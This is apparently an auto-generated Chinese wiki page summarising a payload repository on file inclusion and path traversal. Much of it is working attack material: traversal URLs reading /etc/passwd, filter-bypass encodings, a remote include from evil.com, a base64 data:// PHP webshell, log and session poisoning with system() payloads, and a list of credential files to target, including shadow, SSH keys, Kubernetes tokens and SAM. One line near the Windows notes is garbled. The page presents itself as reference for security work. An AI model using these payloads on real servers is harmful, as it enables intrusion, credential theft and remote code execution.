本文档全面概述了文件包含和路径遍历漏洞,这两种密切相关的Web安全问题允许攻击者在服务器上访问或执行未经授权的文件。尽管这些漏洞具有相似之处,但它们具有不同的特性和利用技术。本页涵盖了它们的概念、利用方法、常见攻击向量以及供安全专业人员和开发人员参考的技术细节。
有关服务器端请求伪造的信息,尽管它有时与这些漏洞混淆但操作方式不同,请参见服务器端请求伪造 (SSRF)。
来源: 文件包含/README.md1-3 目录遍历/README.md1-3
文件包含和路径遍历是不同但相关的漏洞
文件包含:当应用程序在没有适当验证的情况下,根据用户输入包含文件时发生。当包含的文件包含可执行代码(例如PHP)时,这通常会导致代码执行。
路径遍历:允许攻击者遍历目录结构以访问预期目录之外的文件,通常用于未经授权地读取敏感文件。
主要区别在于文件包含会导致代码执行,而路径遍历主要实现未经授权的文件访问。
来源: 文件包含/README.md29-31 目录遍历/README.md1-3
路径遍历涉及操纵路径引用以访问目标目录之外的文件,通常使用 ../ 等目录遍历序列。
一个基本的攻击可能看起来像
http://example.com/index.php?file=../../../etc/passwd
来源: 文件包含/README.md35-46 目录遍历/README.md1-3
可以使用各种编码技术来绕过安全过滤器
| 技术 | 描述 | 示例 |
|---|---|---|
| URL 编码 | 使用 % 编码特殊字符 | %2e%2e%2f 用于 ../ |
| 双重 URL 编码 | 应用两次 URL 编码 | %252e%252e%252f 用于 ../ |
| UTF-8 编码 | 使用 UTF-8 编码字符 | %c0%ae%c0%ae%c0%af 用于 ../ |
| 空字节 | 终止字符串处理 (PHP < 5.3.4) | ../../../etc/passwd%00 |
| 路径截断 | 利用长度限制 (>4096 字节) | ../../../etc/passwd/./././.[MANY MORE] |
来源: 目录遍历/README.md37-48 目录遍历/README.md64-72 目录遍历/README.md83-91 目录遍历/README.md97-104 文件包含/README.md48-55
\\localhost\c$\windows\win.ini<< 表示 *,> 表示 ?)来绕过文件名过滤器Nginx 将 /..;/ 视为一个目录,而 Tomcat 将其视为 /../,这在配置错误的反向代理设置中创造了路径遍历的机会。
来源: 目录遍历/README.md158-164 目录遍历/README.md136-139 目录遍历/README.md208-224 文件包含/LFI 到 RCE.md95-106
本地文件包含发生在应用程序根据用户输入包含本地文件系统中的文件,而未正确验证该输入时。
这种简单的模式是大多数 LFI 漏洞的根源,允许攻击者操纵 page 参数以包含非预期文件。
除了路径遍历中提到的编码方法外,LFI 特有的其他技术包括
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../etc/passwd
远程文件包含允许攻击者从远程服务器包含文件,可能执行恶意代码。
RFI 通常需要以下 PHP 设置
此设置自 PHP 5 起默认禁用,这限制了 RFI 的普及性,使其不如 LFI 常见。
http://example.com/index.php?page=http://evil.com/shell.txt
当 allow_url_include 和 allow_url_fopen 设置为 Off 时,攻击者仍然可以在 Windows 系统上使用 SMB 协议
http://example.com/index.php?page=\\10.0.0.1\share\shell.php
来源: 文件包含/README.md95-103 文件包含/README.md108-109 文件包含/README.md125-130
PHP 包装器扩展了文件包含功能的工作方式,提供了超出标准文件包含的额外攻击向量。
`php://filter` 包装器可用于通过编码读取源代码,或通过复杂的过滤器链实现 RCE
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
这将返回 index.php 的 base64 编码内容,可以对其进行解码以显示源代码。
来源: 文件包含/包装器.md20-71
`data://` 包装器可用于将数据作为文件包含,从而实现直接代码执行
http://example.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
此 base64 编码的 payload 解码为执行系统命令的 PHP 代码。
来源: 文件包含/包装器.md73-81
LFI 漏洞通常可以使用各种技术提升为远程代码执行
最常见的技术之一是向日志文件中注入 PHP 代码,然后包含这些日志
通过 User-Agent、SSH 登录尝试或 SMTP 注入 PHP 代码
curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
包含日志文件
http://example.com/index.php?page=/var/log/apache2/access.log&cmd=id
常见的日志文件位置包括
/var/log/apache2/access.log/var/log/apache2/error.log/var/log/nginx/access.log/var/log/auth.log (SSH)/var/log/mail (邮件)`/proc` 目录提供了对进程信息的访问,可用于 RCE
/proc/self/environ:包含包括 User-Agent 头在内的环境变量/proc/*/fd/*:可能指向已上传文件的文件描述符PHP 将会话数据存储在文件中,这些文件可以被投毒然后被包含
设置恶意会话变量
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
包含会话文件
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_[SESSION_ID]
会话文件通常存储在
/var/lib/php5/sess_[PHPSESSID]/var/lib/php/sessions/sess_[PHPSESSID]在利用路径遍历漏洞时,某些文件因其敏感信息而常成为攻击目标。
| 类别 | 文件路径 | 信息 |
|---|---|---|
| 系统信息 | /etc/issue, /etc/group, /etc/hosts | 系统详细信息、组成员身份、主机配置 |
| 身份验证 | /etc/passwd, /etc/shadow | 用户帐户、密码哈希 |
| 进程信息 | /proc/self/environ, /proc/version | 环境变量、内核版本 |
| 用户数据 | /home/$USER/.bash_history, /home/$USER/.ssh/id_rsa | 命令历史记录、SSH 私钥 |
| 网络 | /proc/net/arp, /proc/net/tcp | 网络连接和路由 |
| Kubernetes | /run/secrets/kubernetes.io/serviceaccount/token | 服务账户令牌 |
| 类别 | 文件路径 | 信息 |
|---|---|---|
| 系统文件 | C:\Windows\win.ini, C:\windows\system32\license.rtf | 系统配置 |
| Web 服务器 | c:/inetpub/wwwroot/web.config, c:/inetpub/logs/logfiles | Web 服务器配置、日志 |
| 凭据 | c:/windows/repair/sam, c:/windows/repair/system | 系统账户信息 |
| 部署 | c:/unattend.xml, c:/sysprep.inf | 部署配置 |
来源: 目录遍历/README.md301-334 文件包含/LFI 到 RCE.md272-295
针对 /etc/passwd 文件的基本 LFI 攻击
http://example.com/index.php?page=../../../etc/passwd
使用 SMB 协议的 RFI 攻击
shell.php)http://example.com/index.php?page=\\10.0.0.1\share\shell.php
读取文件源代码
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
然后解码 base64 输出
来源: 文件包含/README.md42-46 文件包含/README.md125-130 文件包含/包装器.md30-31 文件包含/包装器.md49-51
| 工具 | 目的 | 来源 |
|---|---|---|
| P0cL4bs/Kadimus | LFI 利用工具 | 文件包含/README.md23 |
| D35m0nd142/LFISuite | 自动 LFI 扫描器和利用工具 | 文件包含/README.md24 |
| kurobeats/fimap | LFI/RFI 扫描器和利用工具 | 文件包含/README.md25 |
| synacktiv/php_filter_chain_generator | 生成用于 RCE 的 PHP 过滤器链 | 文件包含/包装器.md55-61 |
| wireghoul/dotdotpwn | 目录遍历模糊测试工具 | 目录遍历/README.md29-33 |
来源: 文件包含/README.md21-27 目录遍历/README.md27-33
文件包含和路径遍历漏洞代表着Web应用程序中的重大安全风险。尽管它们共享相似的利用技术,但其影响不同
理解这些漏洞、它们的利用方法以及可用工具对于进行安全评估的安全专业人员和实施安全应用程序的开发人员都至关重要。
刷新此 Wiki
最后索引时间2025 年 4 月 18 日(7eb75c)